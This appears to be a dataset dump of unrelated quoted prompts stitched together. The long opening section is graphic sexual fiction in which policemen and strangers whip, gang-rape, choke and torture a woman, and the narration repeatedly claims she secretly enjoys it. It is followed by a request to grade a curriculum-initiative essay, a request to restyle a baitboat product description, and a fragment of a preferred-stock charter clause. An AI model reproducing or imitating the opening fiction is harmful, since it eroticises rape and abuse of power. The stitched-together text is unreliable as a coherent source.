wide, exposing her most intimate parts. He then began to whip her pussy with a fierce and relentless intensity, causing her to scream and writhe in pain and pleasure.\n"Oh, you like that, don\'t you, slut?" Tony sneered, relishing the sound of her moans and whimpers. "You want more, don\'t you? You want me to hurt you even more, don\'t you?"\nThe slut could only nod and beg for mercy, her body trembling with a mixture of fear and arousal. She knew that she was at Tony\'s mercy, and that he could do whatever he wanted to her.\nAnd Tony did just that. He continued to whip her pussy, increasing the intensity and speed of his strikes. He could see the wetness between her legs, and he knew that she was getting more and more turned on. But he refused to allow her to come, denying her the release that she craved.\n"You\'re such a dirty little whore," Tony sneered, his voice filled with disgust and contempt. "You want me to fuck you, don\'t you? You want me to make you cum, don\'t you?"\nThe slut could only nod and beg for more, her body completely under Tony\'s control. But Tony refused to let her come, knowing that by denying her release, he was keeping her at his mercy. And with a cruel and triumphant smile, he continued to torment her, enjoying her suffering and frustration.\nThe sub felt a mixture of fear, pain, and pleasure as she was used by Tony. She was terrified of him, knowing that he was an unethical and degenerate policeman who would stop at nothing to satisfy his twisted desires.\nAt the same time, she was also aroused by his dominance and power, and she found herself getting wet and horny as he forced her to submit to his will. She tried to resist, but she was no match for him, and she could only submit to his every command.\nAnd as he used her body for his own pleasure, she found herself reaching the brink of orgasm, her body trembling with desire. But Tony refused to let her come, denying her the release that she craved. He wanted her to be at his mercy, and he wanted her to suffer and beg for more.\nIn the end, she was left feeling used and humiliated, her body aching and sore from his rough treatment. She was at his mercy, and she knew that she would never be able to escape from his cruel and twisted world.\nThe sub felt a mix of shame and pleasure as she was used by Tony. She craved his rough treatment, and she enjoyed the way he dominated her and made her submit to his will. She came easily, and she squirted, her body trembling with orgasmic bliss.\nShe was so wet that her juices were dripping from in between her legs, and she could feel the wetness on her skin. She was ashamed of her desire for Tony, but she couldn\'t help the way she felt. She wanted to be punished, and she wanted him to use her in every way imaginable.\nBut she was too ashamed to admit any of this, and she kept her true feelings hidden from him. She pretended to be afraid and resistant, but deep down, she was secretly longing for more of his rough and dominant treatment.\n\nWhile waiting for the subway, the sub felt a mix of fear and arousal as she saw several men approach her. She knew that she was at their mercy, and that they could do whatever they wanted to her.\nOne of the men grabbed her and pulled her into an alley, where he unbuttoned her pants and began to fuck her hard. She screamed and cried, but no one listened, and she could only submit to his will.\nAnother man fondled her breasts, while another grinded on her from behind. She felt overwhelmed and confused, unsure of what was happening to her.\nWhen the train arrived, the men left her, and she stumbled onto the platform, feeling dazed and disoriented. She missed her stop, but she didn\'t care, as she was too focused on the men who had just used her body.\nAs she waited for the next train, a younger man approached her and pulled down her pants, exposing her to the other passengers. She screamed and cried, but no one intervened, and he began to fuck her right there on the platform.\nShe was used by several men, each taking their turn to use her body for their own pleasure. She felt degraded and humiliated, and she could only submit to their will. When they were finally finished, they left her there, alone and used, to face the consequences of her actions.\n\nThe other policemen were eager to join in on the fun, and they took turns insulting and degrading the sub. They called her names, and they made fun of her body. They laughed and sneered as they watched her squirm and cry.\nOne of the policemen approached her and grabbed her by the hair, pulling her head back and forcing her to look up at him. "You like being exposed and humiliated, don\'t you?" he said, his voice low and menacing.\nThe sub nodded, her eyes wide with fear and excitement. She loved being exposed and humiliated, and she craved the attention of the other policemen.\nAnother policeman stepped forward and grabbed her by the hips, pulling her towards him. "You\'re nothing but a dirty whore," he said, his voice filled with disgust. "You deserve to be used and abused."\nThe sub nodded again, feeling a mix of shame and pleasure. She knew that she was at the mercy of the policemen, and that they could do whatever they wanted to her. She submitted to their will, and she enjoyed every moment of her public humiliation.\n\nThe policemen forced the sub to sit on the Sybian, and they made her lean forward so that her clit was in direct contact with the extreme stimulation. She screamed and cried, but they showed no mercy, and they made her ride it until she was overwhelmed and in pain.\n"You deserve this," one of the policemen said, his voice filled with disgust. "You\'re nothing but a dirty whore, and you need to be taught a lesson."\n"Yeah, you\'re right," another policeman said, laughing. "She\'s just a piece of trash, and she needs to be punished."\nThe sub begged them to stop, but they ignored her pleas, and they continued to force her to ride the Sybian until she was completely exhausted. She was in a state of continuous clitoral orgasm, and she could do nothing but submit to their will.\n"Please, stop," she begged, her voice trembling with fear and desperation. "I can\'t take it anymore."\nBut the policemen only laughed, and they continued to watch her squirm and squirt all over the place. They were enjoying her discomfort and her embarrassment, and they were having a great time at her expense.\nIn the end, she collapsed on the Sybian, her body trembling and her mind in a daze. She was humiliated and degraded, but she was also strangely satisfied, and she craved more. She was a submissive at heart, and she enjoyed every moment of her public humiliation.\n\nThe sub was interrogated by the police in a small, dingy room. She was seated in a metal chair, her hands and feet shackled to the floor. The policemen loomed over her, sneering and leering as they asked her about the rollercoaster incident.\n"So, how did you like the ride, slut?" one of the policemen asked, his breath hot on her face.\nThe sub shuddered, feeling a mix of fear and arousal at the thought of being used by the men on the rollercoaster. She knew that she had no choice but to tell the truth.\n"It was...it was intense," she stammered, her voice shaking.\nThe policemen laughed, exchanging glances with each other. "Intense, huh? Did you like being used like that, slut?" another one asked, his hand moving to her knee.\nThe sub could feel her pulse racing as the men continued to interrogate her, asking her more and more explicit questions.\n\nThe sub looked down at her seat, her face flushed with embarrassment. "I...I don\'t know," she stammered.\nOne of the policemen sneered at her. "You don\'t know? You\'re saying you didn\'t feel those hands all over your body? You didn\'t enjoy it?"\nThe sub hung her head, tears streaming down her cheeks. "I...I didn\'t want it. I tried to stop it, but I couldn\'t move. Please, just let me go."\nThe other policeman leaned in closer to the sub. "You think you can just walk away from this? You disturbed the public and must be punished. Now tell us the truth. Did you like it?"\nThe sub took a deep breath, mustering up the courage to speak. "Yes," she whispered. "I liked it."\n\nThe policemen asked her to describe the ride.\nThe sub hesitates, unsure of how to answer. She knows that the ride was filled with fear and pain, but she also can\'t deny the excitement and pleasure she felt from being used by those men. She blushes deeply and looks away, not wanting to admit the truth to the policemen.\n"I...I don\'t know," she stammers, trying to avoid their gaze. "It was just a regular rollercoaster ride, nothing special."\nThe policemen exchange a look of disbelief, clearly not buying her excuse. "Come on now, we know what really happened on that ride. You were assaulted and humiliated, and yet you still seem to be enjoying yourself. Why is that?"\nThe sub\'s face burns with embarrassment and shame, but she knows that she can\'t lie to the policemen. She takes a deep breath and admits, "I...I liked it. I liked being used and humiliated. It made me feel...alive."\nThe policemen nod, satisfied with her confession. "That\'s what we thought. You are a degenerate and a slut, and you deserve to be punished for your actions. We\'ll make sure to put you in your place and teach you a lesson you\'ll never forget."\n\nThe policemen exchange some looks and smiled wickedly, enjoying the sub\'s discomfort. "Tell us more," one of them says, his voice low and menacing. "What did it feel like to be used like that?"\nThe sub shudders, her face flushed with shame and fear. "It was horrible," she admits, tears welling up in her eyes. "I felt so helpless and humiliated. I didn\'t want to be touched like that, but I couldn\'t stop them."\n"But did you enjoy it?" another policeman asks, his eyes gleaming with anticipation. "Did you like the feeling of being used and degraded?"\nThe sub hesitates, her mind racing. She knows that any answer she gives will only make things worse for her, but she also knows that lying to the police is a dangerous game. She takes a deep breath and speaks the truth.\n"Yes, I did enjoy it," she admits, her voice shaking. "It was painful and degrading, but it also felt good. I don\'t know why, but I can\'t deny it."\nThe policemen nod, satisfied with her answer. "Well, then," one of them says, his voice cold and calculating. "It seems like you\'re the perfect candidate for our little experiment. We\'re going to train you to be a better submissive, to be more obedient and willing to please. Are you ready to learn?"\nThe sub nods, her heart pounding in her chest. She knows that she has no choice but to go along with their plan, no matter how terrifying it may be. She braces herself for whatever comes next, hoping that she will be able to survive whatever horrors the policemen have in store for her.\n\nThe policemen exchange some looks and smiled wickedly, as they continue to interrogate the sub.\n"So, you enjoyed the ride, huh?" one of the policemen sneers. "Well, we have a special treat for you. We\'re going to give you a chance to ride it again, but this time, we\'re going to make sure you really feel it."\nThe sub\'s eyes widen in fear as the policemen grab her by the arms and drag her out of the room, heading towards the amusement park.\n"No, please, let me go!" the sub begs, but the policemen ignore her pleas.\nAs they approach the rollercoaster, the sub can see a group of men waiting for her. They are leering at her, and she can see the excitement in their eyes.\nThe policemen force her onto the rollercoaster and strap her in, making sure that she cannot move. The sub screams and cries as the ride begins to move, but the men only laugh and jeer at her.\nAs the ride reaches the top of the first hill, the men begin to touch and fondle her, making her squirm and whimper. The sub can feel them penetrating her, and she can do nothing to stop them.\nThe ride continues to twist and turn, and the sub can feel herself being used and abused by the men. She is helpless and powerless, and she knows that she is at their mercy.\nAs the ride finally comes to a stop, the sub is left gasping for breath, tears streaming down her face. She is humiliated and degraded, and she knows that this is only the beginning.\nThe policemen drag her off the ride and back to the interrogation room, where they continue to question her, laughing and jeering all the while.\nThe sub knows that she is trapped, and she can only pray for a way out. But she knows that she is doomed, and that her fate is sealed.\n\nThe policemen exchange some looks and smiled wickedly, clearly enjoying the sub\'s discomfort. One of them, a burly man with a thick mustache, leaned forward and asked, "So, how did you like the rollercoaster ride, huh? Was it fun being used and abused like that?"\nThe sub tried to hide her shame and embarrassment, but she could feel the heat rising to her cheeks. She didn\'t want to answer their questions, but she knew she had no choice. She was a criminal, after all, and they had the power to do whatever they wanted to her.\n"It was... um... it was okay, I guess," she stammered, trying to sound casual.\nThe burly man snorted. "Okay? That\'s all you have to say about it? You\'re a filthy little slut, aren\'t you? Admit it, you loved being used like that. You loved having those men\'s hands all over you, didn\'t you?"\nThe sub couldn\'t look him in the eye. She knew he was right, and she hated herself for it. She had enjoyed every moment of the rollercoaster ride, even though it had been degrading and painful. She had reveled in the feeling of being completely helpless and at the mercy of those men.\n"Yes," she whispered, tears streaming down her face. "I loved it."\nThe burly man grinned triumphantly, satisfied with her answer. "Good girl," he said, patting her on the head like a dog. "Now tell us, how did you get your seat so dirty? I bet it was from all that squirting, wasn\'t it?"\nThe sub blushed even deeper, feeling humiliated and exposed. She knew that the other policemen were watching her, judging her and laughing at her. She felt like a circus freak, on display for their entertainment.\n"Yes," she said, her voice barely audible. "I squirted all over the seat. I couldn\'t help it. It was so... so intense."\nThe burly man nodded, his eyes gleaming with excitement. "And how did it feel? Tell us all about it. We want to hear every detail."\nThe sub hesitated, unsure of what to say. She didn\'t want to give them the satisfaction of knowing how much she had enjoyed the ride. But she knew she had no choice. She was a prisoner, a slave to their whims and desires.\n"It felt... it felt amazing," she said, her voice trembling. "I\'ve never felt anything like it before. I... I came so many times, I lost count.\n\n"So, tell us more about the ride," one of them said, leaning in close to the sub.\nThe sub shuddered, feeling their hot breath on her skin. She knew that they were only interested in hearing about the dirty details, and she felt her body heat up with shame and excitement.\n"It was... intense," she stammered, trying to find the words to describe the experience. "I was strapped in and couldn\'t move, and then... these hands just started touching me."\n"Where did they touch you?" one of the policemen asked, his voice low and husky.\n"Everywhere," the sub replied, feeling her face flush with embarrassment. "They touched my legs, my chest, my... my private parts."\n"And did you like it?" another policeman asked, his eyes fixed on the sub\'s face.\nThe sub hesitated, not sure how to answer. She had enjoyed it, in a strange and twisted way, but she didn\'t want to admit it to these men.\n"I... I don\'t know," she said, looking down at her hands.\nThe policemen exchanged a look, and then one of them stood up, towering over the sub.\n"Well, we\'ll just have to find out for ourselves, won\'t we?" he said, grabbing her by the arm and pulling her to her feet.\n\nThe other policemen nodded in agreement, grinning as they surrounded the sub. One of them grabbed her by the hair, pulling her head back and forcing her to look at them.\n"You\'re going to tell us everything," he growled, his breath hot on her face. "We want to know every detail of what happened on that ride."\nThe sub whimpered, tears streaming down her face as she tried to wriggle free from their grasp. But they held her tight, their fingers digging into her flesh as they demanded answers.\n"Please, let me go," she begged, her voice shaking with fear. "I didn\'t do anything wrong."\nBut the policemen only laughed, their eyes gleaming with cruel amusement.\n"Oh, we know you did something wrong," one of them sneered, his breath reeking of alcohol. "And you\'re going to pay for it."\nThe sub\'s heart pounded in her chest as she realized that she was trapped, with no way to escape from their twisted game. She could only pray that someone would come to her rescue before it was too late.\n\nFinally, the head of the police department arrived at the mess. Unfortunately, he was not coming to her rescue.\nHe sneered at the sub as she stood trembling before him, her clothes torn and her body covered in sweat and dirt. "You are a disgrace," he spat out. "You have brought shame upon the entire police department with your disgusting behavior."\nThe other policemen nodded in agreement, jeering and taunting the sub as she stood there, helpless and humiliated.\n"You will be punished for your crimes," the head of the department continued. "We will make sure that you never forget the consequences of your actions."\nThe sub knew that there was no escaping her fate. She had been caught and there was no way out. She could only pray that the punishment would be over soon.\nThe head of the police department looked at the sub with disgust and disdain. "You have caused a public disturbance and have brought shame to this department," he said sternly. "As punishment, you will be stripped naked and whipped in front of everyone until you are sufficiently punished for your actions."\n\nThe head of the police department stood in front of the sub, a smug look on his face. "You thought you could get away with breaking the law, huh?" he said, sneering at her. "Well, let me tell you something, you\'re going to be punished for your actions. And I\'m going to make sure it\'s a punishment you\'ll never forget."\nThe other policemen grinned, eager to see how the head would punish the sub. They knew he was an expert at making people suffer, and they couldn\'t wait to see what he had in store for her.\nThe head walked over to the sub, a wicked smile on his face. "Take off your clothes," he commanded, and the sub hesitated for a moment before reluctantly obeying. She stripped off her clothes, revealing her naked body to the group of leering men.\nThe head walked over to her, his eyes taking in her naked form. He reached out and grabbed her by the hair, pulling her head back to expose her neck. "You\'re going to be punished for your crimes," he whispered in her ear, his breath hot on her skin. "And I\'m going to make sure it\'s a punishment you\'ll never forget."\nHe pushed her down onto her knees, and the other policemen cheered and clapped as he began to administer her punishment. He started by spanking her, making her cry out in pain as his hand came down on her bare skin. Then he moved on to using a whip, lashing her back and buttocks until she was covered in welts and bruises.\nFinally, when she was covered in welts and bruises, he decided it was time to give her the ultimate punishment. He grabbed a dildo and forced it into her mouth, making her gag as he thrust it deep down her throat. She couldn\'t breath, and tears streamed down her face as she tried to free herself from his grip.\nThe head of the police department continued to use the dildo on the sub, making her gag and choke as he forced it down her throat. She tried to resist, but he was too strong for her. He laughed as he saw the fear in her eyes, enjoying the power he held over her.\nAfter several minutes, he finally pulled the dildo out of her mouth, leaving her gasping for air. He then turned to the other policemen, a wicked smile on his face. "Well boys, looks like we have a little slut here who needs to be taught a lesson," he said, gesturing to the sub.\nThe other policemen cheered, excited at the prospect of punishing the sub. They all surrounded her, eager to do their part in making her suffer. They tied her up and gagged her, making it impossible for her to scream for help. Then, one by one, they took turns using her body for their own pleasure, enjoying the way she squirmed and struggled against her restraints.\nIn the end, the sub was left bruised and broken, humiliated and used by the entire police department. She had no choice but to accept her punishment, knowing that she would never be able to escape from their grasp.\n\nThe head of the police department grinned wickedly as he watched the slut struggle against the dildo. He knew that she would never be able to escape from his clutches, and he relished the thought of making her suffer even more.\n"You see, my dear," he said, leaning in close to her ear. "You are nothing but a criminal, and you deserve to be punished. And I am the one who will be doing the punishing."\nHe reached into his pocket and pulled out a pair of handcuffs, snapping them onto her wrists. He then forced her to her knees, pushing her head down onto the floor.\n"Now, you will do exactly as I say," he growled, his voice full of malice. "Or I will make sure that you suffer even more than you already have."' -'How well does this [response] answer the [prompt]? \n\n[prompt] =\n[\nCURRICULUM INITIATIVE\nThe Application Assignment for EDL 527 is a culmination of the content knowledge gained as a result of the Candidate’s participation in this course. It demonstrates the Candidate’s ability to synthesize knowledge about evaluating and initiating curriculum improvement and culturally responsive curriculum, working with teachers to improve curriculum, and using MTSS frameworks to promote effective problem solving and intervention strategies. The Application Assignment will consist of small group work AND an individual written assignment (8 – 10 pages double spaced, NOT inclusive of cover page and references) The small group work involves a presentation explained below. \n \nThe Scenario is as follows: \nDuring this course you will take the role of a principal wanting to implement a curriculum initiative in your school. You will establish a process to identify the curriculum initiative appropriate for your school, research the initiative, develop an implementation process including needed resources and a budget for implementation, organization of professional development needed and strategies to present the initiative to the superintendent’s cabinet. \nStep 1: In a small group you will identify a curriculum initiative that aligns with the district vision and mission for student achievement. This curricular initiative should address a school-wide need for improving student achievement. Consider the following:\n1. What decision making processes would you use to determine the greatest areas of need and to choose a curricular initiative that would address the need? How will you collaborate with building and district leaders and stakeholders to make this determination?\n2. What school-wide need is being addressed with this curriculum initiative?\n3. How does this curricular initiative address the needs of diverse learners?\n4. What professional development will be necessary to ensure that all instructional staff implement the initiative with fidelity?\n5. What standards-based assessment systems will be used to determine the effectiveness of the curricular initiative?\n6. How will the data gathered from the assessments be used to inform internal and external audiences about the effectiveness of the curricular initiative? \nStep 2: Together as a group you will brainstorm the process you would use as a district administrator to effectively implement the initiative and develop a budget and list of resources needed to implement the plan. Address the following items/questions in your discussion:\nCreate an Action Plan with a step-by-step process for implementation of the initiative. Include a timeline (including a sustainability component) with your Action Plan. \nWhat are the costs associated with purchasing the program materials?\nWhat are the costs associated with professional development needed to support the program?\nWhat additional human resources (if any) are necessary to create or customize the programs to meet the needs of each school?\nWhat additional fiscal and human resources will be needed to attend to the creation and monitoring of standards-based assessment data?\nStep 3: Put yourself in the role of the principal and address the following items/questions in your discussion:\nHow do you envision the role of principal in collaborating with the director of curriculum and instruction in determining curricular programming needs for your school? That is, how would you advocate for the needs of your school?\nWhat types of individualization or customization could you envision needing or requesting for your building regarding the curricular program chosen by your group?\nHow will you support your staff with professional development and resources as they learn the new program and figure out how to manage the standards-based assessment processes? \nHow will you “roll out” the program to your staff? How do you envision your building timeline aligning to the district Action Plan and timeline? \nWhat are some ideas for cultivating support for the program and addressing resistors among staff and parents? \nHow will you ensure that the program meets the needs of a diverse population of learners?\n \nStep 4: In class your group will present the plan to the superintendent and his/her cabinet in preparation for presentation to a school board. Be sure to include:\nThe need for the program (use data to show need)\nThe resources necessary to implement the program (human and fiscal)\nThe Action Plan, including timeline, for implementation of the program (include professional development and support systems that will be made available district-wide)\nDiscuss the ways that the program will benefit a diverse population of learners\nDiscuss the assessment process that will be used to determine the effectiveness of the program\nDiscuss the timeline for “reporting out” to the board and community on the progress and effectiveness of the program\n \n \n\n]\n[response] =\n[ Introduction\nHigh school mathematics education is often viewed as dull and disconnected from students\' lives outside the classroom. This approach can result in students missing the connections between mathematics and their daily lives, leading them to undervalue the importance of mathematics in their future careers and democratic participation. This trend of mathematical illiteracy is particularly prevalent among Black, Latino, and Indian populations. To address this issue, this paper proposes a curriculum initiative that focuses on Culturally Responsive Teaching in Mathematics to improve student achievement and promote the use of mathematics in post-high school careers.\nThe Issue of Mathematical Illiteracy\nMathematical illiteracy can be attributed to "number numbness," a view that mathematics is only relevant in math classes and is not important to students\' lives outside the classroom (Peterson, 2006). This perspective results from historic problems with math instruction, such as rote calculations, drill and practice, endless worksheets, and a focus on finding the "right answer" (Peterson, 2006). The separation of math from other subjects and from students\' daily lives is also a contributing factor (Peterson, 2006). This isolation leads students to view math as only relevant for future math classes, disconnected from their social reality, and irrelevant to their future careers and democratic participation. However, math is a tool for understanding and interacting with the world and other academic disciplines (Peterson, 2006).\nAddressing the Issue with Culturally Responsive Teaching in Mathematics\nTo address this issue, the proposed curriculum initiative will incorporate social justice issues into the math curriculum, making it relevant and engaging for students. The key to selecting social justice issues to address is to ensure they are culturally relevant to students\' lives (Ukpokodu, 2011; Moses, 2002). African-American students have traditionally been underserved in terms of culturally relevant math education (Tate, 2006). By providing opportunities for African-American students to connect mathematics to their lives, they can fully participate in our democracy and critique injustices with math (Gutstein, 2006).\nThe Curriculum Initiative\nThe proposed initiative will be implemented using a workshop collaborative format through a 6-week Summer Content Development Institute. Sixteen 9th-grade math teacher volunteers from the district\'s schools will participate, with a workshop rate of $40 per hour for 2 hours of work time per week for 6 weeks. The cost will also include program materials for a total of approximately $8,200.\nCollaboration with Building and District Leaders\nTo determine the greatest areas of need and to choose a curricular initiative that would address the need, the school leader will collaborate with building and district leaders and stakeholders. They will use data from the 2022-2023 and 2023-2024 9th-grade students to show the benefits of the new curriculum model. They will use PSAT data from fall to spring and NWEA data to compare student performance. This initiative addresses the school-wide need of improving student achievement in math.\nAdvocating for the Needs of the School\nAs a school leader with a math curriculum focus, the leader will collaborate with the director of curriculum and instruction in determining curricular programming needs for the school. The leader will advocate for the needs of their school and request individualization or customization regarding the curricular program chosen by their group to meet the unique needs of their building. They will also ensure that standards-based assessment systems are used to determine the effectiveness of the curricular initiative, and the data gathered from the assessments will be used to inform internal and external audiences about the effectiveness of the curricular initiative.\nConclusion\nThe proposed curriculum initiative focusing on Culturally Responsive Teaching in Mathematics has the potential to improve student achievement in math and promote the use of mathematics in post-high school careers. By incorporating social justice issues into the math curriculum, the initiative can make mathematics more relevant and engaging for students, particularly for historically underserved populations, such as Black, Latino, and Indian students.\nThe initiative\'s success will be determined by improvements in PSAT and NWEA data, as well as student engagement and feedback. Using standards-based assessment systems will help determine the effectiveness of the initiative and provide valuable feedback to adjust and improve the program over time.\nFurthermore, the workshop collaborative format used to implement the initiative will ensure that all instructional staff will have the opportunity to participate in the development of the new curriculum model, ensuring that the initiative is implemented with fidelity. This approach will foster collaboration among teachers and help create a shared vision and a common language for instruction.\nFinally, by providing opportunities for students to connect mathematics to their lives and social reality, they will view math as a tool for understanding and interacting with the world and other academic disciplines, leading to a more mathematically literate population. As a result, students will be better prepared for post-high school careers, college, and democratic participation, ultimately fulfilling the district\'s vision of getting students enrolled, enlisted, or employed after high school.\n \n\n \n \nReferences\nFrankenstein, M. (2006). Reading the World with Math. Rethinking mathematics: Teaching social justice by the numbers. Milwaukee, WI: Rethinking Schools.\nGutstein, E. (2007). Connecting Community, Critical, and Classical Knowledge in Teaching Mathematics for Social Justice. TMNE Monograph, 1, 109-118.\nGutstein, E. (2006). Reading and writing the world with mathematics, toward a pedagogy for social justice. RoutledgeFalmer.\nLeonard, J. (2010). Using U.S. census data to teach mathematics for social justice. Middle School Journal, 42(1), 38-44.\nMoses, R. P., & Cobb, C. E. (2002). Radical equations, civil rights from Mississippi to the algebra project. Beacon Pr.\nOsler, J. (2007). A Guide For Integrating Issues Of Social Justice Into Mathematics Curriculum. Retrieved from http://www.radicalmath.org/docs/SJMathGuide.pdf\nPeterson, B. (2006). Teaching Math Across The Curriculum. Rethinking mathematics: Teaching social justice by the numbers. Milwaukee, WI: Rethinking Schools.\nSleeter, C. (2005). Un-standardizing curriculum, multicultural teaching in the standards-based classroom. Teachers College Pr.\nTate, W. (2006). Race, Retrenchment, and the Reform of School Mathematics. Rethinking mathematics: Teaching social justice by the numbers. Milwaukee, WI: Rethinking Schools.\nUkpokodu, O. N. (2011). How do I teach mathematics in a culturally responsive way? Identifying empowering teaching practices. Multicultural Education, 18(3), 47-56. Retrieved from http://search.proquest.com/docview/926980145?accountid=100\nWalker, T. (2010). Critical literacy as resistance: Teaching for social justice across the secondary Curriculum/From contemplation to action: Promoting social justice through children\'s literature. Journal of Adolescent & Adult Literacy, 53(6), 526-528. Retrieved from http://search.proquest.com/docview/216921702?accountid=100\n \n]\nShare Prompt' -'please refrase this product description in style of apple or dji products \n\n"// Carplounge RT7 BAITBOAT | OUR MASTERPIECE\n\nRT7 Next Level Baitboat! As the international market leader for high-end baitboats & industrial rovers, we are constantly working on the further development of our products. We are proud to present you our latest innovations just in time for the New Year! With the RT7 we are now raising the bar on the international baitboat & rover market and offer our Carplounge customers unique features that will once again revolutionise the use of baitboats:\n\n-RT7 // World\'s first Smart All-in-One Controller for Baitboats!\nIntroducing the world\'s first Smart All-in-One Controller for Baitboats - specifically designed for use with the RT7. This innovative controller combines a long-range transmitting module and a 7\'\' touch interface tablet, giving you full control of your baitboat, echosounder, and autopilot app from the palm of your hand. With quick function buttons and two control sticks, driving your baitboat has never been easier or more intuitive.\n\n 7-Inch Ultra Bright Touch Screen -with tempered anti Glare Display!\n Experience exceptional clarity and visibility on the 7-inch touch interface tablet of the controller, featuring a high-resolution 1920x1200 60fps display. Even in direct sunlight, the screen maintains a clear view with an average brightness of 1200 nits+ and anti-glare technology. \n\n Remote Controller Replacement and no transmitterbox needed!\n Say goodbye to regular rc remote controllers and transmitterbox repeater units with the All-in-One SMART Controller. This advanced device allows you to easily control and use all functions of your baitboat, including hoppers, release, lights, and batteries. The All-in-One SMART Controller is the next generation in remote control technology.\n\n Integrated Longrange Wifi Repeater\n The All-in-One SMART Controller is equipped with an integrated Longrange WiFi Repeater, which improves the signal coverage between the connected device and the controller, ensuring stable and smooth signal transmission. No need for an external transmitter box – this controller has you covered.\n\n Foldable Embedded Directional Antenna\n The All-in-One SMART Controller is equipped with a foldable antenna that houses 3 high-performance, directional gain antennas, ensuring optimal performance in every use case. Say goodbye to the need for external antennas.\n\n Customizable Quickbuttons\n Customize the All-in-One SMART Controller to fit your specific needs with up to 8 customizable quick buttons. Simply change the default button assignment in the Autopilot v4 app to configure the functions exactly how you want them.\n\n 2x 2 Axis Analog Control Sticks\n Take control of your boat, hoppers, spirals, and winch-cam using one or both of the 2 axis analog control sticks. These sticks can also be pressed to map other buttons or functions. The control sticks allow for precise navigation of your boat while using the echosounder and Autopilot v4 app – it\'s never been easier!\n\n Play / Pause Buttons\n Control your autopilot drive with ease. With the new buttons you can directly stop / start / pause / resume your autopilot mission, without the need to switch back to the app.\n\n 8 Individual Status Leds\n The AIO SMART Controller features 8 individual status leds: The 4 on the left side are showing the current battery level. The 4 on the right side are showing the current status / signal levels of the device\n\n 2x longrange Wi-Fi connections for Tablet Extension / Split Screen View\n The tablet features 2 separate Wi-Fi chips which can be used to connect to different Wi-Fi networks in parallel. you can connect 2 seperate Apple IOS and Android Tablets/phones at the same time - for example run the Autopilot Map View onto Tablet 1 and the Echosounder on Tablet 2 - both in full screen view! - E.g. stay connected to your autopilot control while using your a second Tablet to run the Raymarine Element Echosounder in Fullscreen.\n\n Longest Battery Life and USB-C Quickchage\n with its 3 build in Lithium the All in one SMART Controller can last up to 125 hours with one charge (w/o tablet). The AIO controller comes with a 25W USB-C Quickcharge Port to easility be charged by utilizing one of your existing USB-C plugs.\n\n Waterproof Case with Tripod Mount\n Made for outdoor use. You don\'t need to worry about bad weather anymore. For convenience, we of course also installed a tripod mount which gives you the most flexibility at the lake\nRT7 // V4 -PRO BUS CONTROL - next Level Baitboat technology!\n\n-RT7 // NEXT LEVEL LIGHT-SYSTEM +3000% more Light!\nAnother highlight of the RT7 baitboat is the digital BUS-controlled lighting system. While all other baitboat manufacturers on the market still use normal LED technology, the RT7 comes with our latest Osram RGB CREE lighting system as standard!\n\n 1400Lux CREE Power Headlight\n The 6 high power Cree LED\'s installed in the front headlights put all baitboat LED\'s in to the shade! With 15W of light output per headlight, shore areas and obstacles can now be fully illuminated even at night.\n RGB Status & Position Light\n Gone are the days when you had to choose only one color for the rear and side LEDs when ordering. All elements of the RT7 RGB lighting system can be individually adjusted - simply choose the color that you like best for each lighting element!\n 230° Wide Angle Lighting\n Due to the calculated light scattering of the RT7 Spotlight, there are no more limited light cones like with normal headlights and the lighting into the water is significantly reduced. With 30 times brighter light output, the RT7 can now also safely approach trees, reed edges, etc. without any problem!\n Proportional Dimming System\n We have developed the Proportional Dimming System for the RT7: The RGB elements and the CREE spotlights can be dimmed separately in infinite steps so that the lighting can always be perfectly adapted to every situation, weather and time of day.\n Stealth Mode LED System\n Of course, we have also taken over the Stealth Mode from the RT4 in the RT7: Not only can all LEDs and displays be adjusted in color and brightness, but they can also be completely turned off at any time with just one click.\n Status & Startup Sequences\n The RGB LEDs in the front, sides and rear of the RT7 visually confirm the opening of the bait doors and the release couplings for releasing the rigs.The whole thing is topped off by programmable startup sequences that allow for all kinds of light shows, from "Knightrider" to the latest Audi.\n- RT7 // ONBOARD RGB TFT DISPLAY\nMost baitboats have only a simple volt indicator, if at all. With the RT7, we set new standards in this area as well: In order to display all important information directly on the baitboat, we have installed a high-resolution tft colour display in the back of the RT7 baitboat.\n\nThe display not only shows the battery status, but also other important information such as the remaining time of the connected batteries, temperature and humidity in the boat etc. In keeping with the RT7 design concept, the background colour of the display as well as the font and font colour of the information can be optimally adapted to your wishes!\n- RT7 - Advanced Baitboat Security\nIntroducing the Ultimate in Baitboat Security: The RT7 and All-In-One Controller\n\nExperience unparalleled protection with our newest innovation: the RT7 and All-In-One controller. Each device is uniquely identified through advanced hash IDs, and can be linked to your account for added security. Our advanced encryption functions keep your personal and company data, as well as stored points and maps, secure at all times.\n\nBut we didn\'t stop there. In the unlikely event that your RT7 or All-In-One controller is lost or stolen, you can easily lock the device through your account. And with the WiFi feature remaining active, you can track the current position of your device as soon as it connects to a WiFi network. Stay safe and secure your valuable assets with the RT7 and All-In-One controller. Protect your baitboats and never worry about loss or theft again.\n\n- Echosounder remote switch on/off and Auto connect\nWith just one click, you can turn your Raymarine Echosounder on and off from your tablet. Power efficiency - Save power when you\'re not using your Echo. When you switch the depth sounder back on, it automatically connects and the live image is displayed again.\n\n- V4 Pro MultiBus onboard pre-processing for Raymarine Element Echosounder, Lidar Distancer Control and other sensors and wireless divices like Cameras etc. For Maximum transmition speed without delay\n\n- V4 Pro Peripherals for in App Diagnostics and usage statistics\nThe RT7 is equipped with smart sensors and not only measures humidity and temperature but also collects advanced data such as ontime, engine runtime, distance driven. Hopper/Relase releases etc.\n\nIf you want to sell or buy a used RT7 Baitboatthis numbers is an important indicator. Just like the number of kilometres driven by a car, important value for assessing the condition of each Boat. In addition, we can use predictive diagnostics to see in advance when a boat is due for service and arrange an appointment with you in good time. With online diagnostics, our technicians also have plenty of data at their fingertips to provide you with the best possible advice and assistance in any situation."' -'2. Liquidation, Dissolution or Winding Up; Certain Mergers, Consolidations and Asset Sales.\n2.1 Preferential Payments to Holders of Preferred Stock. In the event of any voluntary\nor involuntary liquidation, dissolution or winding up of the Corporation, the holders of shares of Preferred\nStock then outstanding shall be entitled to be paid out of the assets of the Corporation available for\ndistribution to its stockholders, and in the event of a Deemed Liquidation Event (as defined below), the\nholders of shares of Preferred Stock then outstanding shall be entitled to be paid out of the consideration\npayable to stockholders in such Deemed Liquidation Event or out of the Available Proceeds (as defined\nbelow), as applicable, before any payment shall be made to the holders of Common Stock by reason of their\nownership thereof, an amount per share equal to the greater of (i) one times the applicable Original Issue\nPrice, plus any dividends declared but unpaid thereon, or (ii) such amount per share as would have been\npayable had all shares of Preferred Stock been converted into Common Stock pursuant to Section 4\nimmediately prior to such liquidation, dissolution, winding up or 